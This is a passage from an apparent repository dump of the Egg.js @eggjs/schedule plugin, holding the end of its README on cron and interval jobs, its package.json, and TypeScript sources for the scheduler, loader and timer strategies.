like:\n\n```ts\nimport { EggContext } from 'egg';\n\nexport const schedule = {\n  type: 'worker',\n  cron: '0 0 3 * * *',\n  // interval: '1h',\n  // immediate: true,\n};\n\nexport async function task(ctx: EggContext) {\n  await ctx.service.db.cleandb();\n}\n```\n\n## Overview\n\n`@eggjs/schedule` supports both cron-based scheduling and interval-based scheduling.\n\nSchedule decision is being made by `agent` process. `agent` triggers a task and sends a message to `worker` process. Then, one or all `worker` process(es) execute the task based on schedule type.\n\nTo setup a schedule task, simply create a job file in `{app_root}/app/schedule`. A file contains one job and exports `schedule` and `task` properties.\n\nThe rule of thumbs is one job per file.\n\n## Task\n\nTask is a class which will be instantiated with every schedule, and a `subscribe` method will be invoked.\n\nYou can get anonymous context with `this.ctx`.\n\n- ctx.method: `SCHEDULE`\n- ctx.path: `/__schedule?path=${schedulePath}&${schedule}`.\n\nTo create a task, `subscribe` can be a generator function or async function. For example:\n\n```ts\n// A simple logger example\nimport { Subscription } from 'egg';\n\nexport default class LoggerExample extends Subscription {\n  async subscribe() {\n    this.ctx.logger.info('Info about your task');\n  }\n}\n```\n\n```ts\n// A real world example: wipe out your database.\n// Use it with caution. :)\nimport { Subscription } from 'egg';\n\nexport default class CleanDB extends Subscription {\n  async subscribe() {\n    await this.ctx.service.db.cleandb();\n  }\n}\n```\n\n## Scheduling\n\n`schedule` is an object that contains one required property, `type`, and optional properties, `{ cron, cronOptions, interval, immediate, disable, env }`.\n\n### Cron-style Scheduling\n\nUse [cron-parser](https://github.com/harrisiirak/cron-parser).\n\n> Note: `cron-parser` support `second` as optional that is not supported by linux crontab.\n>\n> `@hourly / @daily / @weekly / @monthly / @yearly` is also supported.\n\n```bash\n*    *    *    *    *    *\n┬    ┬    ┬    ┬    ┬    ┬\n│    │    │    │    │    |\n│    │    │    │    │    └ day of week (0 - 7) (0 or 7 is Sun)\n│    │    │    │    └───── month (1 - 12)\n│    │    │    └────────── day of month (1 - 31)\n│    │    └─────────────── hour (0 - 23)\n│    └──────────────────── minute (0 - 59)\n└───────────────────────── second (0 - 59, optional)\n```\n\nExample:\n\n```ts\n// To execute task every 3 hours\nexport const schedule = {\n  type: 'worker',\n  cron: '0 0 */3 * * *',\n  cronOptions: {\n    // tz: 'Europe/Athens',\n  },\n};\n```\n\n### Interval-style Scheduling\n\nTo use `setInterval`, and support [ms](https://www.npmjs.com/package/ms) conversion style\n\nExample:\n\n```ts\n// To execute task every 3 hours\nexport const schedule = {\n  type: 'worker',\n  interval: '3h',\n};\n```\n\n**Notice: Egg built-in TimerStrategy will schedule each execution at a fix rate, regardless of its execution time. So you have to make sure that your actual execution time of your `task/subscribe` must be smaller than your delay time.**\n\n### Schedule Type\n\n**Build-in support is:**\n\n- `worker`: will be executed in one random worker when a schedule runs.\n- `all`: will be executed in all workers when a schedule runs.\n\n**Custom schedule:**\n\nTo create a custom schedule, simply extend `agent.ScheduleStrategy` and register it by `agent.schedule.use(type, clz)`.\nYou can schedule the task to be executed by one random worker or all workers with\nthe built-in method `this.sendOne(...args)` or `this.sendAll(...args)` which support params,\nit will pass to `subscribe(...args)` or `task(ctx, ...args)`.\n\n```ts\n// {baseDir}/agent.ts\nimport { Agent } from 'egg';\n\nexport default (agent: Agent) => {\n  class CustomStrategy extends agent.ScheduleStrategy {\n    start() {\n      // such as mq / redis subscribe\n      agent.notify.subscribe('remote_task', data => {\n        this.sendOne(data);\n      });\n    }\n  }\n\n  agent.schedule.use('custom', CustomStrategy);\n};\n```\n\nThen you could use it to defined your job:\n\n```ts\n// {baseDir}/app/schedule/other.ts\nimport { Subscription } from 'egg';\n\nexport default class ClusterTask extends Subscription {\n  static get schedule() {\n    return {\n      type: 'custom',\n    };\n  }\n\n  async subscribe(data) {\n    console.log('got custom data:', data);\n    await this.ctx.service.someTask.run();\n  }\n}\n```\n\n## Dynamic schedule\n\n```ts\n// {baseDir}/app/schedule/sync.ts\nimport { Application } from 'egg';\n\nexport default (app: Application) => {\n  class SyncTask extends app.Subscription {\n    static get schedule() {\n      return {\n        interval: 10000,\n        type: 'worker',\n        // only start task when hostname match\n        disable: require('os').hostname() !== app.config.sync.hostname,\n        // only start task at prod mode\n        env: ['prod'],\n      };\n    }\n\n    async subscribe() {\n      await this.ctx.sync();\n    }\n  }\n\n  return SyncTask;\n};\n```\n\n## Configuration\n\n### Logging\n\nSee `${appInfo.root}/logs/{app_name}/egg-schedule.log` which provided by [config.customLogger.scheduleLogger](https://github.com/eggjs/schedule/blob/master/src/config/config.default.ts).\n\n```ts\n// config/config.default.ts\nimport { EggAppConfig } from 'egg';\n\nexport default {\n  customLogger: {\n    scheduleLogger: {\n      // consoleLevel: 'NONE',\n      // file: path.join(appInfo.root, 'logs', appInfo.name, 'egg-schedule.log'),\n    },\n  },\n} as Partial<EggAppConfig>;\n```\n\n### Customize directory\n\nIf you want to add additional schedule directories, you can use this config.\n\n```ts\n// config/config.default.ts\nimport { EggAppConfig } from 'egg';\n\nexport default {\n  schedule: {\n    directory: ['path/to/otherSchedule'],\n  },\n} as Partial<EggAppConfig>;\n```\n\n## Testing\n\n`app.runSchedule(scheduleName)` is provided by `@eggjs/schedule` plugin only for test purpose.\n\nExample:\n\n```ts\nit('test a schedule task', async () => {\n  // get app instance\n  await app.runSchedule('clean_cache');\n});\n```\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/schedule/package.json",
    "content": "{\n  \"name\": \"@eggjs/schedule\",\n  \"version\": \"6.0.2-beta.5\",\n  \"description\": \"schedule plugin for egg, support corn job.\",\n  \"keywords\": [\n    \"cron\",\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"schedule\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/schedule\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"dead_horse\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/schedule\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/agent\": \"./src/app/extend/agent.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/extend/application.unittest\": \"./src/app/extend/application.unittest.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./lib/load_schedule\": \"./src/lib/load_schedule.ts\",\n    \"./lib/schedule\": \"./src/lib/schedule.ts\",\n    \"./lib/schedule_worker\": \"./src/lib/schedule_worker.ts\",\n    \"./lib/strategy/all\": \"./src/lib/strategy/all.ts\",\n    \"./lib/strategy/base\": \"./src/lib/strategy/base.ts\",\n    \"./lib/strategy/timer\": \"./src/lib/strategy/timer.ts\",\n    \"./lib/strategy/worker\": \"./src/lib/strategy/worker.ts\",\n    \"./lib/types\": \"./src/lib/types.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/agent\": \"./dist/app/extend/agent.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/extend/application.unittest\": \"./dist/app/extend/application.unittest.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./lib/load_schedule\": \"./dist/lib/load_schedule.js\",\n      \"./lib/schedule\": \"./dist/lib/schedule.js\",\n      \"./lib/schedule_worker\": \"./dist/lib/schedule_worker.js\",\n      \"./lib/strategy/all\": \"./dist/lib/strategy/all.js\",\n      \"./lib/strategy/base\": \"./dist/lib/strategy/base.js\",\n      \"./lib/strategy/timer\": \"./dist/lib/strategy/timer.js\",\n      \"./lib/strategy/worker\": \"./dist/lib/strategy/worker.js\",\n      \"./lib/types\": \"./dist/lib/types.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/utils\": \"workspace:*\",\n    \"cron-parser\": \"catalog:\",\n    \"humanize-ms\": \"catalog:\",\n    \"is-type-of\": \"catalog:\",\n    \"safe-timers\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/bin\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/safe-timers\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/agent.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport type { ILifecycleBoot } from 'egg';\n\nimport type Agent from './app/extend/agent.ts';\nimport { AllStrategy } from './lib/strategy/all.ts';\nimport { WorkerStrategy } from './lib/strategy/worker.ts';\nimport type { EggScheduleJobInfo } from './lib/types.ts';\n\nconst debug = debuglog('egg/schedule/agent');\n\nexport default class Boot implements ILifecycleBoot {\n  #agent: Agent;\n  constructor(agent: Agent) {\n    this.#agent = agent;\n  }\n\n  async configDidLoad(): Promise<void> {\n    // register built-in strategy\n    this.#agent.schedule.use('worker', WorkerStrategy);\n    this.#agent.schedule.use('all', AllStrategy);\n\n    // wait for other plugin to register custom strategy\n    await this.#agent.schedule.init();\n\n    // dispatch job finish event to strategy\n    this.#agent.messenger.on('egg-schedule', (info: EggScheduleJobInfo) => {\n      // get job info from worker\n      this.#agent.schedule.onJobFinish(info);\n    });\n    debug('configDidLoad');\n  }\n\n  async serverDidReady(): Promise<void> {\n    // start schedule after worker ready\n    await this.#agent.schedule.start();\n    debug('serverDidReady, schedule start');\n  }\n\n  async beforeClose(): Promise<void> {\n    // stop schedule before app close\n    await this.#agent.schedule.close();\n    debug('beforeClose, schedule close');\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/app/extend/agent.ts",
    "content": "import { Agent } from 'egg';\n\nimport { Scheduler } from '../../lib/schedule.ts';\nimport { BaseStrategy } from '../../lib/strategy/base.ts';\nimport { TimerStrategy } from '../../lib/strategy/timer.ts';\n\nconst SCHEDULE = Symbol('agent schedule');\n\nexport default class ScheduleAgent extends Agent {\n  /**\n   * @member agent#ScheduleStrategy\n   */\n  get ScheduleStrategy(): typeof BaseStrategy {\n    return BaseStrategy;\n  }\n\n  /**\n   * @member agent#TimerScheduleStrategy\n   */\n  get TimerScheduleStrategy(): typeof TimerStrategy {\n    return TimerStrategy;\n  }\n\n  /**\n   * @member agent#schedule\n   */\n  get schedule(): Scheduler {\n    let schedule = this[SCHEDULE] as Scheduler;\n    if (!schedule) {\n      this[SCHEDULE] = schedule = new Scheduler(this);\n    }\n    return schedule;\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/app/extend/application.ts",
    "content": "import { Application } from 'egg';\n\nimport { ScheduleWorker } from '../../lib/schedule_worker.ts';\n\nconst SCHEDULE_WORKER = Symbol('application scheduleWorker');\n\nexport default class ScheduleApplication extends Application {\n  /**\n   * @member app#scheduleWorker\n   */\n  get scheduleWorker(): ScheduleWorker {\n    let scheduleWorker = this[SCHEDULE_WORKER] as ScheduleWorker;\n    if (!scheduleWorker) {\n      this[SCHEDULE_WORKER] = scheduleWorker = new ScheduleWorker(this);\n    }\n    return scheduleWorker;\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/app/extend/application.unittest.ts",
    "content": "import path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { importResolve } from '@eggjs/utils';\n\nimport type { EggScheduleItem } from '../../lib/types.ts';\nimport ScheduleApplication from './application.ts';\n\nconst debug = debuglog('egg/schedule/app');\n\nexport default class ScheduleApplicationUnittest extends ScheduleApplication {\n  async runSchedule(schedulePath: string, ...args: any[]): Promise<any> {\n    debug('[runSchedule] start schedulePath: %o, args: %o', schedulePath, args);\n    // for test purpose\n    const config = this.config;\n    const directory = [path.join(config.baseDir, 'app/schedule'), ...(config.schedule.directory ?? [])];\n\n    // resolve real path\n    if (path.isAbsolute(schedulePath)) {\n      schedulePath = importResolve(schedulePath);\n    } else {\n      for (const dir of directory) {\n        const trySchedulePath = path.join(dir, schedulePath);\n        try {\n          schedulePath = importResolve(trySchedulePath);\n          break;\n        } catch (err) {\n          debug('[runSchedule] importResolve %o error: %s', trySchedulePath, err);\n        }\n      }\n    }\n\n    debug('[runSchedule] resolve schedulePath: %o', schedulePath);\n    let schedule: EggScheduleItem;\n    try {\n      schedule = this.scheduleWorker.scheduleItems[schedulePath];\n      if (!schedule) {\n        debug(\n          '[runSchedule] Cannot find schedule %o, scheduleItems: %o',\n          schedulePath,\n          this.scheduleWorker.scheduleItems,\n        );\n        throw new TypeError(`Cannot find schedule ${schedulePath}`);\n      }\n    } catch (err: any) {\n      err.message = `[@eggjs/schedule] ${err.message}`;\n      throw err;\n    }\n\n    // run with anonymous context\n    const ctx = this.createAnonymousContext({\n      method: 'SCHEDULE',\n      url: `/__schedule?path=${schedulePath}&${schedule.scheduleQueryString}`,\n    });\n    return await this.ctxStorage.run(ctx, async () => {\n      return await schedule.task(ctx, ...args);\n    });\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/app.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport type { ILifecycleBoot, EggLogger } from 'egg';\n\nimport type Application from './app/extend/application.ts';\nimport type { EggScheduleJobInfo } from './lib/types.ts';\n\nconst debug = debuglog('egg/schedule/app');\n\nexport default class Boot implements ILifecycleBoot {\n  #app: Application;\n  #logger: EggLogger;\n  constructor(app: Application) {\n    this.#app = app;\n    this.#logger = app.getLogger('scheduleLogger');\n  }\n\n  async configDidLoad(): Promise<void> {\n    const scheduleWorker = this.#app.scheduleWorker;\n    await scheduleWorker.init();\n\n    // log schedule list\n    for (const s in scheduleWorker.scheduleItems) {\n      const schedule = scheduleWorker.scheduleItems[s];\n      if (!schedule.schedule.disable) {\n        this.#logger.info('[@eggjs/schedule]: register schedule %s', schedule.key);\n      }\n    }\n\n    // register schedule event\n    this.#app.messenger.on('egg-schedule', async (info) => {\n      debug('app got \"egg-schedule\" message: %o', info);\n      const { id, key } = info;\n      this.#logger.debug(`[Job#${id}] ${key} await app ready`);\n      await this.#app.ready();\n      const schedule = scheduleWorker.scheduleItems[key];\n      this.#logger.debug(`[Job#${id}] ${key} task received by app`);\n\n      if (!schedule) {\n        this.#logger.warn(`[Job#${id}] ${key} unknown task`);\n        return;\n      }\n\n      /* istanbul ignore next */\n      if (schedule.schedule.disable) {\n        this.#logger.warn(`[Job#${id}] ${key} disable`);\n        return;\n      }\n\n      this.#logger.info(`[Job#${id}] ${key} executing by app`);\n\n      // run with anonymous context\n      const ctx = this.#app.createAnonymousContext({\n        method: 'SCHEDULE',\n        url: `/__schedule?path=${key}&${schedule.scheduleQueryString}`,\n      });\n\n      const start = Date.now();\n\n      let success: boolean;\n      let e: Error | undefined;\n      try {\n        // execute\n        await this.#app.ctxStorage.run(ctx, async () => {\n          return await schedule.task(ctx, ...info.args);\n        });\n        success = true;\n      } catch (err: any) {\n        success = false;\n        e = err;\n      }\n\n      const rt = Date.now() - start;\n\n      const msg = `[Job#${id}] ${key} execute ${success ? 'succeed' : 'failed'}, used ${rt}ms.`;\n      if (success) {\n        this.#logger.info(msg);\n      } else {\n        this.#logger.error(msg, e);\n      }\n\n      // notify agent job finish\n      this.#app.messenger.sendToAgent('egg-schedule', {\n        ...info,\n        success,\n        workerId: process.pid,\n        rt,\n        message: e?.message,\n      } as EggScheduleJobInfo);\n    });\n    debug('configDidLoad');\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/config/config.default.ts",
    "content": "import type { ParserOptions as CronOptions } from 'cron-parser';\nimport type { PartialEggConfig } from 'egg';\n\nexport type { CronOptions };\n\nexport interface EggScheduleConfig {\n  type?: 'worker' | 'all';\n  interval?: string | number;\n  cron?: string;\n  cronOptions?: CronOptions;\n  immediate?: boolean;\n  disable?: boolean;\n  env?: string[];\n  /**\n   * custom additional directory, full path\n   */\n  directory?: string[];\n}\n\nconst config: PartialEggConfig = {\n  customLogger: {\n    scheduleLogger: {\n      consoleLevel: 'NONE',\n      file: 'egg-schedule.log',\n    },\n  },\n  schedule: {\n    directory: [],\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "plugins/schedule/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\nimport Agent from './app/extend/agent.ts';\nimport Application from './app/extend/application.ts';\nimport ApplicationUnittest from './app/extend/application.unittest.ts';\n\nexport { Agent, Application, ApplicationUnittest };\nexport { ScheduleWorker } from './lib/schedule_worker.ts';\nexport { Scheduler } from './lib/schedule.ts';\n\nexport * from './lib/types.ts';\n\nexport default definePluginFactory({\n  name: 'schedule',\n  enable: true,\n  path: import.meta.dirname,\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/schedule/src/lib/load_schedule.ts",
    "content": "import assert from 'node:assert';\nimport path from 'node:path';\nimport { stringify } from 'node:querystring';\n\nimport { importResolve } from '@eggjs/utils';\nimport type { EggApplicationCore, Context } from 'egg';\nimport { isClass, isFunction, isGeneratorFunction } from 'is-type-of';\n\nimport type { EggScheduleConfig } from '../config/config.default.ts';\nimport type { EggScheduleTask, EggScheduleItem } from './types.ts';\n\nfunction getScheduleLoader(app: EggApplicationCore) {\n  return class ScheduleLoader extends app.loader.FileLoader {\n    async load() {\n      const target = this.options.target as Record<string, EggScheduleItem>;\n      const items = await this.parse();\n      for (const item of items) {\n        const schedule = item.exports as {\n          schedule: EggScheduleConfig;\n          task: EggScheduleTask;\n        };\n        const fullpath = item.fullpath;\n        const scheduleConfig = schedule.schedule;\n        assert(scheduleConfig, `schedule(${fullpath}): must have \"schedule\" and \"task\" properties`);\n        assert(\n          isClass(schedule) || isFunction(schedule.task),\n          `schedule(${fullpath}: \\`schedule.task\\` should be function or \\`schedule\\` should be class`,\n        );\n\n        let task: EggScheduleTask;\n        if (isClass(schedule)) {\n          assert(\n            !isGeneratorFunction(schedule.prototype.subscribe),\n            `schedule(${fullpath}): \"schedule\" generator function is not support, should use async function instead`,\n          );\n          task = async (ctx: Context, ...args: any[]) => {\n            const instance = new schedule(ctx);\n            // s.subscribe = app.toAsyncFunction(s.subscribe);\n            return instance.subscribe(...args);\n          };\n        } else {\n          assert(\n            !isGeneratorFunction(schedule.task),\n            `schedule(${fullpath}): \"task\" generator function is not support, should use async function instead`,\n          );\n          task = schedule.task;\n          // task = app.toAsyncFunction(schedule.task);\n        }\n\n        const env = app.config.env;\n        const envList = schedule.schedule.env;\n        if (Array.isArray(envList) && !envList.includes(env)) {\n          app.coreLogger.info(`[@eggjs/schedule]: ignore schedule ${fullpath} due to \\`schedule.env\\` not match`);\n          continue;\n        }\n\n        // handle symlink case\n        const realFullpath = importResolve(fullpath);\n        target[realFullpath] = {\n          schedule: scheduleConfig,\n          // @ts-expect-error scheduleConfig may can't be stringified\n          scheduleQueryString: stringify(scheduleConfig),\n          task,\n          key: realFullpath,\n        };\n      }\n      return target;\n    }\n  };\n}\n\nexport async function loadSchedule(app: EggApplicationCore): Promise<Record<string, EggScheduleItem>> {\n  const dirs = [\n    ...app.loader.getLoadUnits().map((unit) => path.join(unit.path, 'app/schedule')),\n    ...(app.config.schedule.directory ?? []),\n  ];\n\n  const Loader = getScheduleLoader(app);\n  const schedules = {} as Record<string, EggScheduleItem>;\n  await new Loader({\n    directory: dirs,\n    target: schedules,\n    inject: app,\n  }).load();\n  Reflect.set(app, 'schedules', schedules);\n  return schedules;\n}\n"
  },
  {
    "path": "plugins/schedule/src/lib/schedule.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport type { EggLogger } from 'egg';\n\nimport type Agent from '../app/extend/agent.ts';\nimport { loadSchedule } from './load_schedule.ts';\nimport type { BaseStrategy } from './strategy/base.ts';\nimport type { EggScheduleItem, EggScheduleJobInfo } from './types.ts';\n\nconst debug = debuglog('egg/schedule/lib/schedule');\n\nexport class Scheduler {\n  closed = false;\n\n  #agent: Agent;\n  #logger: EggLogger;\n  #strategyClassMap = new Map<string, typeof BaseStrategy>();\n  #strategyInstanceMap = new Map<string, BaseStrategy>();\n\n  constructor(agent: Agent) {\n    this.#agent = agent;\n    this.#logger = agent.getLogger('scheduleLogger');\n  }\n\n  /**\n   * register a custom Schedule Strategy\n   * @param {String} type - strategy type\n   * @param {Strategy} clz - Strategy class\n   */\n  use(type: string, clz: typeof BaseStrategy): void {\n    this.#strategyClassMap.set(type, clz);\n    debug('use type: %o', type);\n  }\n\n  /**\n   * load all schedule jobs, then initialize and register special strategy\n   */\n  async init(): Promise<void> {\n    const scheduleItems = await loadSchedule(this.#agent);\n    for (const scheduleItem of Object.values(scheduleItems)) {\n      this.registerSchedule(scheduleItem);\n    }\n  }\n\n  registerSchedule(scheduleItem: EggScheduleItem): void {\n    const { key, schedule } = scheduleItem;\n    const type = schedule.type;\n    if (schedule.disable) {\n      return;\n    }\n\n    // find Strategy by type\n    const Strategy = this.#strategyClassMap.get(type!);\n    if (!Strategy) {\n      const err = new Error(`schedule type [${type}] is not defined`);\n      err.name = 'EggScheduleError';\n      throw err;\n    }\n\n    // Initialize strategy and register\n    const instance = new Strategy(schedule, this.#agent, key);\n    this.#strategyInstanceMap.set(key, instance);\n    debug('registerSchedule type: %o, config: %o, key: %o', type, schedule, key);\n  }\n\n  unregisterSchedule(key: string): boolean {\n    debug('unregisterSchedule key: %o', key);\n    return this.#strategyInstanceMap.delete(key);\n  }\n\n  /**\n   * job finish event handler\n   *\n   * @param {Object} info - { id, key, success, message, workerId }\n   */\n  onJobFinish(info: EggScheduleJobInfo): void {\n    this.#logger.debug(`[Job#${info.id}] ${info.key} finish event received by agent from worker#${info.workerId}`);\n    const instance = this.#strategyInstanceMap.get(info.key);\n    if (instance) {\n      instance.onJobFinish(info);\n    }\n    debug('onJobFinish', info);\n  }\n\n  /**\n   * start schedule\n   */\n  async start(): Promise<void> {\n    debug('start');\n    this.closed = false;\n    for (const instance of this.#strategyInstanceMap.values()) {\n      instance.start();\n    }\n  }\n\n  async close(): Promise<void> {\n    this.closed = true;\n    for (const instance of this.#strategyInstanceMap.values()) {\n      await instance.close();\n    }\n    debug('close');\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/lib/schedule_worker.ts",
    "content": "import type Application from '../app/extend/application.ts';\nimport { loadSchedule } from './load_schedule.ts';\nimport type { EggScheduleItem } from './types.ts';\n\nexport class ScheduleWorker {\n  #app: Application;\n  scheduleItems: Record<string, EggScheduleItem> = {};\n\n  constructor(app: Application) {\n    this.#app = app;\n  }\n\n  async init(): Promise<void> {\n    const schedules = await loadSchedule(this.#app);\n    for (const key in schedules) {\n      this.scheduleItems[key] = schedules[key];\n    }\n  }\n\n  registerSchedule(scheduleItem: EggScheduleItem): void {\n    this.scheduleItems[scheduleItem.key] = scheduleItem;\n  }\n\n  unregisterSchedule(key: string): void {\n    delete this.scheduleItems[key];\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/lib/strategy/all.ts",
    "content": "import { TimerStrategy } from './timer.ts';\n\nexport class AllStrategy extends TimerStrategy {\n  handler(): void {\n    this.sendAll();\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/lib/strategy/base.ts",
    "content": "import type { EggLogger } from 'egg';\n\nimport type Agent from '../../app/extend/agent.ts';\nimport type { EggScheduleConfig } from '../../config/config.default.ts';\nimport type { EggScheduleJobInfo } from '../types.ts';\n\nexport class BaseStrategy {\n  protected agent: Agent;\n  protected scheduleConfig: EggScheduleConfig;\n  protected key: string;\n  protected logger: EggLogger;\n  protected closed = false;\n  count = 0;\n\n  constructor(scheduleConfig: EggScheduleConfig, agent: Agent, key: string) {\n    this.agent = agent;\n    this.key = key;\n    this.scheduleConfig = scheduleConfig;\n    this.logger = this.agent.getLogger('scheduleLogger');\n  }\n\n  /** keep compatibility */\n  get schedule(): EggScheduleConfig {\n    return this.scheduleConfig;\n  }\n\n  async start(): Promise<void> {\n    // empty loop by default\n  }\n\n  async close(): Promise<void> {\n    this.closed = true;\n  }\n\n  // eslint-disable-next-line @typescript-eslint/no-unused-vars\n  onJobStart(_info: EggScheduleJobInfo): void {}\n\n  // eslint-disable-next-line @typescript-eslint/no-unused-vars\n  onJobFinish(_info: EggScheduleJobInfo): void {}\n\n  /**\n   * trigger one worker\n   *\n   * @param {...any} args - pass to job task\n   */\n  sendOne(...args: any[]): void {\n    /* istanbul ignore next */\n    if (this.agent.schedule.closed) {\n      this.logger.warn(`${this.key} skip due to schedule closed`);\n      return;\n    }\n\n    this.count++;\n\n    const info = {\n      key: this.key,\n      id: this.getSeqId(),\n      args,\n    } as EggScheduleJobInfo;\n\n    this.logger.info(`[Job#${info.id}] ${info.key} triggered, send random by agent`);\n    this.agent.messenger.sendRandom('egg-schedule', info);\n    this.onJobStart(info);\n  }\n\n  /**\n   * trigger all worker\n   *\n   * @param {...any} args - pass to job task\n   */\n  sendAll(...args: any[]): void {\n    /* istanbul ignore next */\n    if (this.agent.schedule.closed) {\n      this.logger.warn(`${this.key} skip due to schedule closed`);\n      return;\n    }\n\n    this.count++;\n\n    const info = {\n      key: this.key,\n      id: this.getSeqId(),\n      args,\n    } as EggScheduleJobInfo;\n    this.logger.info(`[Job#${info.id}] ${info.key} triggered, send all by agent`);\n    // send to all workers\n    this.agent.messenger.send('egg-schedule', info);\n    this.onJobStart(info);\n  }\n\n  getSeqId(): string {\n    return `${Date.now()}${process.hrtime().join('')}${this.count}`;\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/lib/strategy/timer.ts",
    "content": "import assert from 'node:assert';\n\nimport type { CronExpression } from 'cron-parser';\nimport cronParser from 'cron-parser';\nimport { ms } from 'humanize-ms';\nimport safeTimers from 'safe-timers';\nimport { logDate } from 'utility';\n\nimport type Agent from '../../app/extend/agent.ts';\nimport type { EggScheduleConfig } from '../../config/config.default.ts';\nimport { BaseStrategy } from './base.ts';\n\nexport abstract class TimerStrategy extends BaseStrategy {\n  protected cronInstance?: CronExpression;\n\n  constructor(scheduleConfig: EggScheduleConfig, agent: Agent, key: string) {\n    super(scheduleConfig, agent, key);\n\n    const { interval, cron, cronOptions, immediate } = this.scheduleConfig;\n    assert(\n      interval || cron || immediate,\n      `[@eggjs/schedule] ${this.key} \\`schedule.interval\\` or \\`schedule.cron\\` or \\`schedule.immediate\\` must be present`,\n    );\n\n    // init cron parser\n    if (cron) {\n      try {\n        this.cronInstance = cronParser.parseExpression(cron, cronOptions);\n      } catch (err: any) {\n        throw new TypeError(`[@eggjs/schedule] ${this.key} parse cron instruction(${cron}) error: ${err.message}`, {\n          cause: err,\n        });\n      }\n    }\n  }\n\n  protected handler(): void {\n    throw new TypeError(`[@eggjs/schedule] ${this.key} strategy should override \\`handler()\\` method`);\n  }\n\n  async start(): Promise<void> {\n    /* istanbul ignore next */\n    if (this.agent.schedule.closed) return;\n\n    if (this.scheduleConfig.immediate) {\n      this.logger.info(`[Timer] ${this.key} next time will execute immediate`);\n      setImmediate(() => this.handler());\n    } else {\n      this.#scheduleNext();\n    }\n  }\n\n  #scheduleNext(): void {\n    /* istanbul ignore next */\n    if (this.agent.schedule.closed) return;\n\n    // get next tick\n    const nextTick = this.getNextTick();\n    if (nextTick) {\n      this.logger.info(\n        `[Timer] ${this.key} next time will execute after ${nextTick}ms at ${logDate(new Date(Date.now() + nextTick))}`,\n      );\n      this.safeTimeout(() => this.handler(), nextTick);\n    } else {\n      this.logger.info(`[Timer] ${this.key} reach endDate, will stop`);\n    }\n  }\n\n  onJobStart(): void {\n    // Next execution will trigger task at a fix rate, regardless of its execution time.\n    this.#scheduleNext();\n  }\n\n  /**\n   * calculate next tick\n   *\n   * @return {Number|undefined} time interval, if out of range then return `undefined`\n   */\n  protected getNextTick(): number | undefined {\n    // interval-style\n    if (this.scheduleConfig.interval) {\n      return ms(this.scheduleConfig.interval);\n    }\n\n    // cron-style\n    if (this.cronInstance) {\n      // calculate next cron tick\n      const now = Date.now();\n      let nextTick: number;\n\n      // loop to find next feature time\n      do {\n        try {\n          const nextInterval = this.cronInstance.next();\n          nextTick = nextInterval.getTime();\n        } catch (err) {\n          // Error: Out of the timespan range\n          this.logger.info(`[Timer] ${this.key} cron out of the timespan range, error: %s`, err);\n          return;\n        }\n      } while (now >= nextTick);\n      return nextTick - now;\n    }\n    // won\\'t run here\n  }\n\n  protected safeTimeout(handler: () => void, delay: number, ...args: any[]): number | ReturnType<typeof setTimeout> {\n    const fn = delay < safeTimers.maxInterval ? setTimeout : safeTimers.setTimeout;\n    return fn(handler, delay, ...args) as number | ReturnType<typeof setTimeout>;\n  }\n}\n"
  },
  {
    "path": "plugins/schedule/src/lib/strategy/worker.ts",
    "content": "import { TimerStrategy } from './timer.ts';\n\nexport class WorkerStrategy extends TimerStrategy {\n  handler(): void {\n    this.sendOne();\n  }\n}\n"
  },
  {
